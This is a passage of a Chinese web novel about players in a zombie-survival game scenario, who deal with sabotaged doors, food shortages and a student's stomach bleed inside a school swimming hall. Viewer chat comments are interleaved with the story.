“是我的失误。”章诎的狐狸眼变得凝重,“当时我在排查这里的时候,因为看到身影就当作是他了,没有继续进来确认。” [这完全是防不胜防。 ] [没有上帝视角,是个人也不会想到<深渊>会生成一个和邱任望外形轮廓毫无差别的学生,来代替他。 ] 情况变得又复杂了一些。 温知初望向手中仓库的钥匙:“有其他办法联系到邱任望吗?” “有…”章诎道,“改造终端的话,信号应该能延伸得远一些。” 章诎:“你的剧情节点太多了…这件事我来办,你继续负责班长的责任范围。” 温知初:“行。” 这是目前最合适的安排。 两人各自都有应急的剧情节点,并不能在此久留,仓库的门被关上,他们各自分散离去。 温知初走回场馆中央,途中路过游泳池,池水非常澄澈而干净,仿若死亡从未降临过此处,水光映照在她的身后,静谧而意味深长。 便利店外,李奂壬和体育部的男生们如同门神般站着,用脚踹了踹卷帘门上的锁,没踹开;中央场地,高二七班的那群人围在赵平阴身边打牌;大房间内,三班学委坐在桌旁一口口地喝感冒冲剂;其他学生三三两两地围坐,求生意志比较强的学生在原地做热身动作,以保精力。 温知初的视线缓慢扫过各处,她的手放在口袋里, MP3的外壳硌着手,她感应到有人在盯着她。 视线转移,落在了走廊的幽暗处,那里紧紧地拉着窗帘,光影晦暗,因为没有任何日光照进来,所以看起来很冷。 晏逾明站在哪里,姿态漫不经心,校服隐入阴影之间,使他整个人愈发疏远,五官轮廓被半明半暗的光影勾勒得尤其阴郁而冷漠。 “班长。”他道。 如同于深海游弋的不明生物,安静地伏在深处,诱惑着猎物,声音低沉。 晏逾明:“找你商量件很重要的事。” 第38章 温知初的脚步犹豫片刻, 最终还是迈步走向走廊。 走到窗帘前,她站定,眼神却不知道为什么没有落在晏逾明的身上。 温知初:“什么事?” 晏逾明站近,俯身的动作除了压迫感之外还带着说不清道不明的暧昧,目光却依旧空洞而疏远,让人看不清深意。 他问:“那瓶碘酒, 很重要吗?” 温知初:“消毒药物只剩下一瓶碘酒, 确实很重要。” 她顿了顿:“你有线索?” 晏逾明没有直接回答:“你也和校医一样,觉得是我拿的么?” 两人站在光与暗的交界处, 光影在他们身上细细簌簌。 温知初:“没有证据, 我不会怀疑是你。” 晏逾明的嘴角不易察觉地勾起,他低声道:“是吗…” 他道:“如果有证据呢?” 不知道什么时候起,他手中多出一瓶碘酒,漫不经心地摇晃了几下。 温知初望向那瓶碘酒,眼神定了定,抬眼望向他。 “抱歉。”晏逾明似笑非笑,声音低沉,“班长, 辜负你的信任了,确实是我拿的。” 晏逾明伸手,将碘酒放到温知初的脸侧,碘酊的气味弥散。 温知初愣了下, 反应过来后要接过碘酒, 晏逾明却收回了手。 两人在晦暗处对视了片刻, 晏逾明的眼神从温知初的脸侧一路向下,落在她袖间的班长徽章上。 温知初像是意识到了什么,转身要离开,晏逾明挡住了她的去路,把人堵在了窗帘前。 “怎么,班长,又准备做你最擅长的事,去报告老师?”晏逾明低声问。 温知初抬眼,眼神依旧平和冷静:“副班,在现在的局势下,药物很重要,有人会受伤,不要拿这个开玩笑。” 晏逾明:“当然重要,不过这关我什么事?” 他低下头,眼神略显阴沉:“班长,你没发现自己膝盖受伤了么?” 温知初低头望去,她的膝盖如往常一样平整,并没有任何伤口。 温知初:“我没有受伤。” 晏逾明却像是没听到她说的话,他俯下身,打开了碘酒瓶子。 温知初察觉出不对劲的时候,碘酒已然从晏逾明的手中倾泻而下,经由温知初的膝盖、小腿、打湿染色了她的鞋子,最后全都倾泻于地面,散发刺鼻的碘酊气味。 空瓶子从晏逾明的手中掉落,在地上滚动。 他俯身望着她:“抱歉,班长,我还以为是过期的草莓牛奶,就这么倒掉了。” 温知初的后背抵着墙,冷淡地盯向他。 晏逾明低声道:“班长,现在你可以告诉校医,是谁拿走了碘酒。” [天哪…] [Yu这次是演了个真反派啊。 ] [Yu怎么演的这么好,贴得就像本色出演一样,我没见过本人,有人知道他原本性格就是这样吗? ] [楼上的,别忘了Yu可是道德S啊。 ] 034号插一嘴:[感觉这才是男主的真实性格,有了剧情做幌子,不用再做表面功夫了。 ] [班长和副班长关系是真的差啊,这样下去真的会影响他们现实关系吧。 ] [我听小道消息说两人的关系原本有些僵,上一轮比赛结束后才缓和了些,不还一起团建去游乐园么…剧情这么搞,再好的关系也会崩啊。 ] [看吧,班长的耳朵那么红,果然是被气红了。 ] 地上的碘酒流淌着,晏逾明转身离开,原地只留少女和满地的狼藉。 班长的脸隐于光影之间,看不分清。 晦暗的走廊,温知初看向自己被染红的鞋,沉默片刻,俯身捡起空瓶子。 修长的手指被瓶身的碘酊染红,看起来如同血的颜色。 · 时间缓慢地过去,走廊上碘酒痕迹已然被擦拭干净,没有留下任何痕迹。 窗外的阳光渐渐隐去,夕阳的余晖透过窗帘洒进来,场馆内弥漫着一种压抑的沉静感。 已然是下午四点。 大家抱怨着饥饿,没有力气地瘫在各个地方,丧尸的嘶吼声间或在外面响起,挑战着众人紧绷的神经。 原本一直待在便利店门口的那些体育部的男生不见了。 温知初注意到,这些人换了阵地,默契地集合到东门周围。 发现这一点的还有上午低血糖的那位男学生储见仲,他拿着温知初给他的面包,一边啃一边朝温知初靠近。 “班长。”他道,“那些人果然要出去,已经全部朝东门靠近了。” 温知初略微颔首。 储见仲:“东门比较容易被发现啊,他们现在的动作我们都能看得见…” 不过这也没得选,这是唯一他们有钥匙的门。 东门不仅阻碍的柜子最少,比较方便挪动,而且外面散布的丧尸相比其他门要少。 储见仲:“我倒是能明白为什么他们要晚上行动,越到晚上,丧尸行动越缓慢,这些人会选择在晚上,也是情理之中。” [这个低血糖的同学是敌方吗?老是来找班长。 ] [还是老话,任何人都有可能是敌方,但任何人也有可能不是敌方。 ] [可能只是特别感谢小温给了他食物吧,低血糖真的很难受,经历过的人都知道什么感觉。 ] 东门前,那些体育生已经开始搬动柜子了,动静不小,几个学生被吸引,不明所以地望向他们。 温知初盯了片刻,走向东门。 她走过去的时候,体育部留在场馆中央的几个女生立即跟了过去,刻意发出提醒同伴“来人了”的动静。 搬动柜子的男生们看到班长的到来,这才停下动作。 “哟。”李奂壬举起双手,“班长,有什么事啊,这回我们可没有抢谁的面包。” 温知初:“你们搬柜子的声音太大了。” 外面的丧尸因为搬动的声音被吸引来了好几个,耳朵和脸贴在玻璃门上,激动地吼叫。 李奂壬露出不以为然的笑:“没关系,门坚固着呢,而且锁很结实,我们只是整理整理柜子,又不是干什么坏事…” 温知初不言语,盯住他们。 在这冷淡的目光中,李奂壬逐渐收回笑,没有再找借口,眼神中捎上坦诚的恶意;“班长,你不可能一直只盯着我们。” 他道:“你应该还有很多其他事要办,不是么?” [这个李奂壬什么意思,他是在隐喻任务节点的事吗,这是摊牌他是敌方吗? ] [也有可能是在说班长分身乏术吧。 ] 李奂壬的话确实说的没错,温知初不可能一直只盯着他们,作为班长,有更多其他的任务节点等待着她就位。 她离开后不久,体育部的那些人又开始挪动柜子。 温知初站在二楼的楼梯口,目光冷淡地锁定东门方向,神情莫辨。 储见仲为报面包之恩,来来回回地跑来报告:“那些人又开始搬东西了,现在能确定了,他们今天晚上肯定有行动。” 他问:“班长,干脆召集其他同学,我们一起拦住他们吧?” 其实有不少学生看到了东门的动静,但是他们不敢惹体育部的人,只是抱怨了几句真不知道这些体育部的到底要干什么,除此以外没有更多举动。 总不能真的打起来。 饿都快饿死了,真的没力气打架。 温知初:“他们可以硬闯出去。” 就算现在被拦住,以后也会跑,这样没办法根本性地解决问题。 储见仲也认同:“可,那怎么办呢…” 温知初平静地看着他:“不用费神,你去休息吧。” 储见仲确实困:“那好吧…班长你也多休息,你吃这么少,昨天晚上到现在好像都没有休息过,要保存体力啊。” 温知初淡淡地颔首。 “我会的。” · 时间一分一秒过去,夜幕逐渐降临,场馆里的光线愈发昏暗,大家打开小灯。 东门的柜子已经被搬空了,空荡荡的,只剩下门和链子锁。 外面的丧尸缓慢地游荡着,虽然嘶吼声没有白日那般重,依旧让人心头发凉。 门前,体育部的男生们焦虑不安地踱步,蓄势待发的模样。 晚上十点的钟声响起,距离TRES来到比赛,终于过去了漫长的一日。 三十三人目前都活着,邱任望依旧联系不上。 这么漫长的日子,他们还要熬过三天,食物却只剩下明天的分量,而体育部的那些人显然下定决心,一定要离开这个场馆。 体育部纷纷站起身,走向门的方向,李奂壬从裤兜里掏出钥匙。 二楼,一直俯身撑在围杆上的温知初,在看到钥匙后,站直了身…她没有下楼,而是转身走向相反的方向。 走向二楼管理室,温知初不紧不慢地推开门。 这里是东门的正上方,从管理室的窗户望出去,能清晰地看到东门外的动静。 房间里只有她一个人,没有其他学生,代表她可以一定程度上不受人物设定限制。 温知初踏上凳子,打开窗户——东门外,丧尸缓慢走动着,身形踉跄,聚集在离大门较远的地方,影影绰绰。 东门被打开了,体育部的十几个人影缓慢而放轻声音地走了出来,手中紧攥防身武器,神色紧张。 十几个身影走得还算顺利,眼见着就要走远,温知初默不作声地从口袋里拿出了MP3 ,轻轻按下按钮,扔向楼下。 MP3准确地被投掷到了东门前一段距离的空地上。 刺耳剧烈的声音从MP3中炸裂而出:“滋滋滋——滋滋滋——!” 过于响亮的声音直接撕破了原本寂静的夜色。东门附近的所有丧尸顿时停住脚步,僵硬地转过头来,几乎刹那间,它们疯了一般朝东门的方向涌来,蜂拥而至,发出急切而腐臭的嘶吼,朝那些人扑去。 体育部的众人愣住,看着大片涌来的丧尸,血液几乎倒流。 “什么声音啊…快跑!” “往回跑啊!!” “锁在哪儿,锁门,快锁门!!!!” 温知初俯身撑在窗户上,安静地看着他们的身影,鞋尖的碘酊痕迹在暗处棕红。 第39章 “卧槽,谁开东门了!” “外面丧尸怎么暴动了?” “锁啊,锁住啊!赶紧堵住东门!” 东门的暴动瞬间掀起场馆内的恐慌,无论大家刚才在做什么,现在全都涌来堵门。 锁门的锁门, 推柜子的推柜子。 沉重的撞击声不停响起,丧尸们用尽全身力气撞玻璃门,有几个丧尸挤开缝隙,在学生们的尖叫声中跑进门,张开嘴就要咬人,胆子大的拿着拖把连打带踹,一番折腾后想把它们给撞出去。 腐臭的气息近在咫尺,差些抓破学生们的校服。 千钧一发之时, 玻璃门终于被关上了,一层层的链子赶忙套上锁。 “柜子!柜子!能用的家具全都堵过来!” 众人骂骂咧咧的,眼神几乎要往外冒火地盯着体育部的那些罪魁祸首。 而好不容易逃回来的体育部也没从刚才的惊险中恢复过来,嘴里不停咒骂着,脸上一阵红一阵白。 一时间,柜子在地上拖动的刮擦声、外面丧尸撞击玻璃的沉闷响声, 里面学生紧张的叫骂音混杂在一起,吵吵闹闹,嘈杂无比。 于混乱中, 班长姗姗来迟。 温知初纤瘦修长的身影快步走进人群中, 默不作声地开始帮忙推柜子。 从行动轨迹来看, 她不是从二楼下来的, 而是从仓库那里过来的。 作为一楼仓库的常客、三班的学委注意到温知初的动向。 他正好和温知初推的是同一个柜子,一边抵住柜子一边朝她看:“班长,你怎么是从仓库过来的?” 温知初望向他,举起手上绕着的绳子:“去拿这个了。” 她道:“等会儿把东门这里围起来,门和柜子捆在一起,我觉得这样更牢固,你觉得呢?” 学委不禁点头:“确实。” 他望向那些体育部的人,冷笑一声:“这下应该能防住那些害群之马了吧?” 体育部的人听到了他的话,立马回身吼:“你说谁是害群之马呢?” 人群中其他同学喊道:“那个体育部的,你别松手啊,没看到柜子快掉下去了吗,他妈的你能不能快点儿给我扶回来!” “有没有集体意识!” “害群之马说的就是你们!有意见吗!不是你们我们现在会这样吗!” 因为情况危急,大家都很激动,叫骂声没停过,就算这些体育部的人块头大,面对如此激愤的一群人,势头也弱了下去。 “赶紧干活儿!” 直到半个小时后,东门这才重新恢复原样 众人累得坐倒,外面的丧尸激切地继续拍打门和墙,咆哮声顺着门的缝隙不断透进来。 整个游泳场馆就像个铁皮脆弱的肉罐头,外面的丧尸躁动无比。 体育部自知理亏,避开人群回到便利店外的据点,嘴里嘟嘟囔囔没停。 “刚才那是什么声音,我还以为踩到炸弹了,他妈的差点把我耳膜给响聋了。” “是谁踩到了什么吗?没人看到?” “不知道啊,倒霉催的,差点儿就能离开这儿了!” 这群人气不过:“出去又没能出去,还这么饿!” 他们拿脚踹便利店的卷帘门,“哐当”“哐当”得响。 “反正就剩一天的食物了,干脆这会儿拿出来吃了得了!” 他们发泄着内心躁郁的情绪。 眼见卷帘门被踢出一个凹痕,其中踹门最狠的男生被身后一个身影猛得撞了一下,差点摔倒。 “他妈的谁啊!” “我!” 将铭抓着这人的脖子:“你是不是有病!再大声一点,干脆拿着喇叭告诉整个校园的丧尸我们这儿有人!” 作为高三四班的体委,人物设定中带有义气冲动的将铭终于带着班上的男生站了出来,他身后站着五六个男生,个头都不小。 两派人马对峙于便利店外,神情全部非常不好,被撞了一下的那位男生头上青筋暴露,双方看起来随时都会打起来。 就在空气中这根无形的弦快要崩断的时候,远处有人吼了一嗓子:“快来帮忙,西门也出状况了!” “不是,谁把西门的柜子也挪开了!” “体育部的,是不是你们,你们是不是有病,光动一个东门还不够啊!” 体育部的皱眉:“西门关我们什么事儿,你们准备什么事儿都赖在我们身上是吧?” “除了你们,还有谁没事儿动大门啊!别站在那儿,快来帮忙啊!” “又不是我们干的,我们才不白费这力气。” 将铭立即带人转头朝西门跑去,脚步匆忙。体育部的男生们跟无赖一样赖坐在地上,女生们倒是一脸不好意思,全都去帮忙了。 人群中的温知初停住了脚步,朝便利店的方向望去:“明天的食物你们不需要的话,我会分给其他人。” 言简意赅。 说完这句话后,温知初转身离开,没有等他们的回答。 体育部的人们横眉冷对地交换眼神,脸上的肌肉抽搐了几下,最终还是起身,走向西门。 西门的状况没有东门之前那么严重,起码门是关着锁着的,就是柜子歪歪扭扭、横七竖八的,一看就被动过。 丧尸的脸贴在门上,看到这么多人来,激动地嘶吼,残缺的脸在门上留下一片片血印儿。 大家忍着鸡皮疙瘩,重新把柜子推回去,用绳子把门和柜子们一层一层捆到一起,紧紧地扎住。 等西门完全被处理好,已经晚上十一点十五了。 经历这么多,大家是完全没力气了,全都瘫倒到地上。 在外面丧尸无法安歇的嘶吼声中,这场闹剧终于暂时落幕,瘫坐在地上的众人气喘吁吁。 “终于…” 温知初安静地站在一旁,眼神扫过周围的人。 一共三十二个人。 晏逾明不在。 · 东门和西门的动乱耗费大家太多气力,本来就很饿的学生们更是胃中灼烧得精神不集中。 已然是深夜,没人能睡得着。 学生们不约而同地聚集到便利店周围,等待十二点到来后、食物的发放。 墙上的钟一分一秒地过去,十二点一到,钟声响起,所有人立即站到便利店卷帘门外。 “终于可以领食物了。” “我感觉我快饿死了。” “真的,我不夸张的说,我刚才起身的时候,眼前真的冒白星了。” 温知初穿过人群走到门前,她俯身,打开锁,把卷帘门往上拉,颀长的手指沉稳而有力。 金属的碰撞声中,门被拉开,负责今天发放食物的学生率先走进便利店。 温知初没有进去,她走到门侧,站定,注视一个个进来领食物的学生。 因为今天有班长亲自盯着领取食物,人群还算有秩序,食物一份一份地被发放。 半个小时后,所有人都领完食物,大家恋恋不舍地看着屋子里的货架,神情变得痛苦而纠结。 便利店内除了游泳设备外,已然空空如也。 有人望着自己手里的面包,神情复杂,犹豫到底该不该吃。 “好饿啊,胃里烧得慌。” “不能全吃吧,剩点给明天…” “忍着点儿,先吃一半啊…” “那后天、大后天怎么办?” 能怎么办?真的就等死么? 他们选择留在这游泳场馆内,真的是正确的吗? 这时那些体育部的插话:“我就说我们出去是对的吧,不出去,只会饿死在这里。” 片刻的沉默。 其他人反问:“你们出去后,难道会带着食物回来吗?” “我看你们出去的时候都没把门反手关上,是想把丧尸都放进来吧?” 体育部悻悻地闭上嘴,没再说话。 便利店内,温知初把食物塞到背包里,拉上背包拉链。 走出便利店,她若有所感地往游泳池的方向看,果然,那里站着将铭,正在朝她使眼色。 温知初顿了顿脚步,斜挎起背包,朝游泳池的方向走去。 · TRES战队的五人一个个地聚集到游泳池旁,将铭把门关上,只留一个可以观察外面人群的缝隙。 章诎开口:“我开了权限。” 众人终于可以暂时脱离剧情三十分钟,将铭微不可察地松了口气。 温知初坐在将铭对面,注意到他的神色憔悴了许多。 将铭解释道:“剧情原因。” 他因为父亲变成丧尸这件事,还没从中恢复过来,若不是因为刚才的动乱,还会一直一振不起下去。 将铭又望向章诎:“不是说把权限放在最后用么,怎么突然用上了?” 章诎:“原本是这么计划的,但是发生太多事了,还是集中讨论下比较好。” 将铭点了点头。 一直沉默着的晏逾明开口:“还没联系上邱任望?” 章诎皱眉:“是。” 屈孚宁忍不住也问:“终端信号不能延伸么?” “在做这件事。”章诎道,“这个剧情世界内道具有限,手头上设备不够,没办法很快地解决这个问题。” 将铭:“需要多长时间?” 章诎:“至少三天。” 三天…三天都到比赛的最后时间了,在这期间,邱任望将会一直失联地单独行动,如果碰到什么不好的事儿了怎么办。 将铭:“倒也不必担心小邱出什么事,他再怎么说也是TRES的成员,就算一个人在外面,应该没有大问题,担心的是这会不会是<深渊>的剧情陷阱…” 章诎:“你是说引诱我们出去之类的?” 他眯起狐狸眼,低头看着自己手腕上的终端:“虽然信号没有完全改造好,但是按照现在改造完的信号,起码能确认他在校园内,而且生命体征存在。” 将铭神情肃然:“还是得尽快联系上他。” 章诎:“我尽力。” 他道:“要说改造信号,邱任望其实最擅长。” 屈孚宁跟着低声道:“希望他那里也在尽量和我们联系。” 章诎:“你们的权限有没有更新?” 他道:“我确认过小温的了,辅Vent位没有任何权限。” 屈孚宁开口:“除了抽取武器,我也没有任何权限。” 他皱了皱眉:“因为剧情限制,我暂时没办法发挥任何作用。” 屈孚宁担任的是一个比较独善其身的孤僻人物,和保人的主线目标不搭边,再加上这次是保人不是杀人, Vent位的武器更是没有任何用武之地。 将铭感叹:“你就是运气太好,每次都抽到最安全的人物。”反而会限制他的能力发挥。 而运气最不好的小温,无论她愿意不愿意,都必须Carry大部分进度。 “不过…”面对合作,屈孚宁一反常态地主动多说了很多话,“小温,你后面会带人出去找食物么?” 带人出去找食物这项日程,是必然的。 将铭:“食物已经没了,场馆里必须要有人出去找食物,要不然肯定会出事。” 温知初平静地望向屈孚宁:“最晚明天,我会带人出去。” 屈孚宁:“如果确定要出去,我应该能帮到你。” 屈孚宁这个角色虽然孤僻,但是他现在非常饿,如果后面要出去找食物,作为一个不轻易信任他人、觉得其他人绝对不会带着食物回来的角色,他肯定会跟上去。 温知初和屈孚宁对上眼神,略微颔首。 将铭:“唯一的好消息,就是我这个人物,终于走出父亲丧生的阴霾,能有动力做其他事。” 高三四班的体委和班长关系一直不错,现在除了章诎外,又多了一个可以和温知初合作行动的人。 将铭:“我这次没有其他权限,辅Carn位可以说是形同虚设,不过接下来的行动里,我尽量可以给小温打个辅助。” 温知初沉默地点了点头,若有所思。 众人的眼神望向了晏逾明,不知道是不是因为他这次扮演了一个反面人物的缘故,他的神情比往常更显得淡漠。 晏逾明抬眼,语气慵懒:“主Carn位今天更新了一个新的权限。” 章诎赶忙问:“是有关脱离剧情的?”目前有用的,也就只有这个权限了。 晏逾明看了他一眼:“和你的不一样,我的时限只有一半,十五分钟。” “也行,也行。”章诎神情严肃地计算着,“老大,你那里最多可以积累多少时长的剧情脱离?” 晏逾明略微思考:“最多三个小时。” 章诎:“只能三个小时吗?” 晏逾明:“副班长这个角色,有些任务必须要放弃。” 此话落下,大家算是明白了。 虽然他们无法交流各自的剧情任务,但单靠人物资料也能推测出副班长的剧情任务肯定和保人的主线背道而驰,确实得放弃一些非必须要完成的剧情节点。 屈孚宁低声道:“那就是加起来,最多能有九个小时的脱离时间…” 章诎提醒道:“八个半小时。” 现在他们聚在一起,就已经用了半个小时。 将铭:“后面有事还是不用聚了,终端上说吧,节省权限时间。” 章诎眯了眯狐狸眼:“本来我也这么想的,但我发现有些话发不出去, <深渊>这次,对我们的交流设限更多了。” 将铭有些惊讶:“这样?” 说话间,晏逾明站起身,推开门走出去,不紧不慢道:“我去拿个东西。” 温知初欲言又止。 屈孚宁问:“是发现了什么吗?” 她摇了摇头:“我想说一件事。” 章诎意识到了什么:“说不出来?” 温知初点了点头,她拿起笔,尝试在纸上写字,字迹被数据化地抹去痕迹。 章诎:“这就是我说的设限。” 深渊对他们的限制,只会越来越多。 屈孚宁:“很重要事?” 温知初:“也不算。” 她道:“我刚才做了一件事,想告诉你们,但无法说出细节。” 将铭:“小温,既然没办法交流,应该就是和主线剧情有关,只能你自己把控了。” 温知初没有言语,默认地收回纸笔。 [知知要说什么啊? ] [不知道啊。 ] [我猜是不是MP3那件事…] [那个…Yu去哪里了? ] [他刚才出去了,说是拿什么东西,等等…他回来了。 ] 三十分钟的权限快要结束,其他人因为各自还有关键事件节点,分散地离开。 晏逾明和他们反方向,手上提着一个黑色的袋子,推开门走回来。 游泳池旁,温知初依旧坐在原位,似乎知道他会来找她。 压着“剧情脱离”的哨点。 听到开门声,温知初抬起眼,只有看向晏逾明时,这双深黑的双眼才会偶尔露出茫然。 晏逾明的目光落在她身上,走近的过程中,眼神一直没有离开过。 他走近,温知初抬眼:“是…有什么事么?” 晏逾明似笑非笑:“很重要的事。” 他蹲下身,打开袋子,露出里面一双崭新的校鞋。 “在仓库里找到的。”晏逾明的声音冷静而低沉,一如既往地从容不迫,“之前碘酒弄脏了你的鞋,抱歉。” 其实温知初也知道仓库里有堆积的夏季校服和鞋子,只不过她没把脏了的鞋子放在心上,也没有去换。 温知初抿了抿唇线,像是不知道该怎么回应,耳廓不明显地泛红。 沉默片刻,她平静道:“没事。” “我自己来。” 晏逾明望着她:“当时我的行为是剧情需要,希望你能理解。” 话这么说,他落在温知初身上的眼神中,没有任何歉意。 温知初顿了顿:“我知道。” 池水上的光影,若即若离,若隐若现。 第40章 0:40。 游泳馆内,学生们分散在各处,小口地吃着今天的食物。 场馆中央,三班学委卢文于周围站着几个三班、四班的学生,一边吃东西一边低声交流。 “西门到底是谁开的,还是没人出来承认么?” “还能有谁…除了体育部的那些人, 还能有谁?” “但是体育部的那些人一直没承认, 每次被指认的时候都很生气, 好像真的有可能不是他们做的。” 三班学委:“大概率是他们。” 有人问:“为什么?” 三班学委:“也就他们老往门那边靠,西门柜子都是那种大型的、铁皮的, 肯定得一群人才搬得动, 除了他们暂时没看到有群体想偷偷出去的。” “说实话高二七班也有可能,他们班上有几个问题学生。” “他们当时不在西门那儿, 我看到他们了。” “其实四班副班长也有可能,他经常不见人影啊…” “他一个人?不可能吧?” “这么看,确实大概率就是体育部的那些人弄的。” “不过我有一点想不明白,既然他们决定从东门走,为什么又要动西门,难不成是想害我们?” 众人谈论间,有两三个女生走了过来。 “那个…” 是体育部的女生。 [其实体育部里这几个女生还挺善良的,昨天她们一起出东门的时候,有提醒后面的人关门。 ] [是,她们没有做什么坏事啊,不过好像也没有脱离体育部这个群体的意向。 ] [搞体育的比较有集体意识, 在丧尸潮爆发之前, 可能这些人本来关系就好吧。 ] 几个女生的神情都有些不太好意思,她们是来道歉的。 “当时确实是情急,我们不是故意不关东门的,是外面太危险了,为了随时跑回来,我们才没有立即关上门,也没有锁门…” “而且西门真的不是我们干的。” 其余人望着这些体育部的女生,脸上露出不太信任的神情。 三班学委开口:“你们要是真的觉得抱歉,就别跟那些体育部的男生凑一起了,不如来我们四班这个群体怎么样?” 几个女生交换眼神,用沉默回答了这个问题。 三班学委卢文于:“我尊重你们的选择,但是你们也得理解,正是因为他们平常的表现,让我们无法相信你们现在说的话。” 几个女生欲言又止:“他们其实以前不是这样的…” 极端环境中,有太多人、太多心境在潜移默化地改变。 脚步声从远处传来,几个人抬眼,看到班长从游泳池那片走出来,往东南方向的走廊走去。 卢文于抬起手:“班长。” 他跟身边的人说:“和班长一起讨论讨论西门的事吧,总感觉西门的真凶没找出来,会是个危险的漏洞。” 体育部的女生们:“真的不是我们…” 温知初听到几声班长,她侧过脸,看到了卢文于他们,不过她没有停下脚步。 她道:“有人受伤了,我去看看。” 她快步往临时医务室走去。 推门而入。 医务室里,传来痛吟声。 储物柜旁的板凳拼凑在一起,有个女生躺在上面,面色苍白,脑门上往外渗汗。 校医蹲在一旁,给女生量体温,眼中有焦急。 是上次那位胃痛的女生。 四班的陈玉清。 半空中,响起<深渊>冰冷的电子音。 [检测到有生命体征陷入危险。 ] 温知初走过去,半蹲下身:“什么情况?” 她从校医手上接过体温计。 陈玉清已经烧到了38.8度。 校医皱起眉:“发烧了,但现在最严重的问题不是发烧,发烧只是并发症。” 他拿起陈玉清手中攥着的布洛芬:“这个布洛芬是她自己的药,几个小时前她吃了一颗用来止痛,结果不久后就陷入昏厥,被她的同学送过来。” 温知初:“为什么吃布洛芬会这样?” 校医:“你知道她的病史吗?” 温知初:“她说过自己有胃病。” 校医:“她现在这种情况很像是因为长期营养不良、极度压力,然后又误用了布洛芬而引发的急性胃黏膜损伤。” 他继续道:“现在没有仪器可以进行深度的检查,只能我凭经验诊断。布洛芬本来是用来缓解炎症和疼痛的,但它对胃黏膜有刺激,再加上陈玉清本来就有胃病,胃壁肯定很脆弱,这么一刺激,直接加速胃溃疡的恶化,引起少量内出血,导致昏厥。” “所以…”温知初略微停顿,“主要的原因是布洛芬造成了胃出血?” 校医看了她一眼:“…我就是这个意思。看她症状这么严重,还伴随高烧并发,如果再不好转,可能会引发更严重的内出血、甚至是感染、休克。” 温知初:“她现在需要什么?” 校医:“首先是降温,不能再烧下去了,其次是药物,抑制胃酸分泌过多的药物…” 温知初接过话:“奥美拉唑?医务室有类似的药么?” 校医神情沉重地摇头:“没有,我认真找了,没有。” 他后悔当初没把校医务室的药全都带出来,逃跑间还掉了几盒。 谁都想不到丧尸潮会突然爆发。 温知初和校医同时望向窗外,因为昨夜的西门、东门之乱,现在游泳馆外聚集的丧尸数量难以计数,正是最躁动的时候。 丧尸的嘶吼咆哮声,不知还要持续多久。 根本无法出去。 温知初垂首望向陈玉清:“先退烧。” 校医道:“目前退烧只能物理退烧,她现在这个胃黏膜情况,任何口服药物都可能进一步刺激胃黏膜。” 温知初:“对乙酰氨基酚也不行?” 校医摇透:“这个相对温和,但也不行,有风险。” 温知初站起身,走出医务室。 回来的时候,拿来了毛巾和水盆,她蹲下身,按照校医的说法把陈玉清调整成侧卧位,以防她出现呕吐误吸的情况。 温知初俯身,冷静而认真地擦拭陈玉清脸上、额头上的汗水。 校医摸着陈玉清的手腕:“目前脉搏应该没问题,比一开始稳定多了…可惜没有血压计。” 陈玉清的眉头痛苦地皱起,她呓语了大概一个半小时后,身上才不像刚开始那样不停出汗,温知初坐在一旁,每隔一段时间给陈玉清换一次冷敷的毛巾。 她拿来了保温杯,间或给陈玉清喂一些温水,稀释分泌过多的胃酸。 不过一次只能喂一点,喂多了陈玉清会吐。 不知不觉凌晨的夜色逐渐褪去,窗外已然是天亮,由于窗户被封住,房间内依旧很昏暗。 这期间,陈玉清吐过几次,脸色稍微好了点,不过神情依旧痛苦:“饿…” 越饿胃越痛。 校医不知如何是好地望向温知初:“班长,我没有食物了…” 温知初:“她现在能吃东西么?” 校医:“不能吃硬质食物,最好的吃一点清淡的流质食物,补充流失的体内水分。” 温知初放下毛巾:“稍等。” 她站起身,再次走出去。 话很少,但行动从来没有停歇过。 [小温怎么这么会照顾人啊,懂的也多,明明年龄这么小…她简直太贴班长这个人物了。 ] [她真的很可靠。 ] [人生清单上再加上一项:有生之年嫁给温知初。 ] [好心疼知知啊,她自从进入第二轮域后就没有闭过眼,关键事件节点没停过,她根本没时间休息。 ] 温知初走回医务室,她举起手中的八宝粥:“只有这个。” 不过八宝粥可能会带来消化负担,所以她带回来了一瓶新的热水,用来稀释八宝粥,好消化些。 校医点头:“也没有其他选择了。” 温知初用刚才给陈玉清喂温水的方式,分次、缓慢地给她喂八宝粥。 时钟已然不知不觉走到了上午九点。 今日天气晴朗,如果不是医务室的窗户被封死的话,日光会非常明朗地照进屋子,可惜现在晦暗到还要开小灯。 校医因为太疲累了,嘴唇发白发干,眼神已然有些不对焦。 温知初注意到他的异状:“老师,你先去休息,这里我看着。” 校医摇头:“不行,我不能…” 温知初平静地抬头:“你如果病倒的话,我可能没办法同时照看两个病人。” 校医欲言又止,他继续留下来看了一个小时后,实在撑不住,最终到对面房间休息去了。 校医走后,晦暗的医务室更是萧索。 温知初坐在陈玉清身旁,再一次检查她的体温,终于降到38度以下了,暂时保持下降的趋势。 换好新毛巾后,她看向时钟。 十点了。 等待她的,是更多的关键事件节点。 昏暗的室内,温知初的修长有力的手指按动着手电筒的按钮,一下明、一下暗、按钮不停地被按动着,光影或明或暗地照在她的侧脸。 温知初深黑的双眼放空地望向医务室的窗玻璃,平静地思考着什么,思绪随着开关手电筒而流动。 “班长…”陈玉清无力的声音响起,“对不起…” 陈玉清难受地皱着眉,她现在真的又累又痛,再加上外面丧尸嘶吼的声音一直没有停过… 她痛苦地开口:“不如直接放弃我吧,我现在这样,只是一个拖累,班长,我对不起你们…” 温知初打断陈玉清的话,在陈玉清的肩头轻轻拍了几下:“不是你的问题。” 没有过多安慰的空话,温知初语气温和:“你会活下来的。” 她道:“我保证。” 陈玉清还想说些什么,此时,窗玻璃外兀然出现一道高大修长的身影,他匆匆走来,敲了敲窗玻璃。 晏逾明:“外面有人找你。” 温知初抬眼。 “咔哒”一声,温知初关闭手中的手电筒,她站起身。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 比起外面有人找, 更准确得来说,是外面有人闹起来了。 晏逾明找过来的时候,从远处的、走廊外的场馆中央, 传来嘈杂的动静, 类似有人在打砸椅子。 声响实在不小, 引得外面的丧尸愈发躁动。 温知初走出临时医务室, 望向走廊的方向, 晏逾明倚靠在窗玻璃旁,一幅事不关己的样貌。 作为负面角色的副班长, 他来找她, 显然是为了转移责任。 [注意关键事件节点。 ] 没有时间停留,温知初抬眼,加快步子往外走,留下一句:“副班,麻烦你照看好病倒的学生。” 言语间,身影消失在走廊间。 空剩一人的走廊上,晏逾明站直身,走到临时医务室的门口, 没有停驻脚步,反而走向对面的房间。 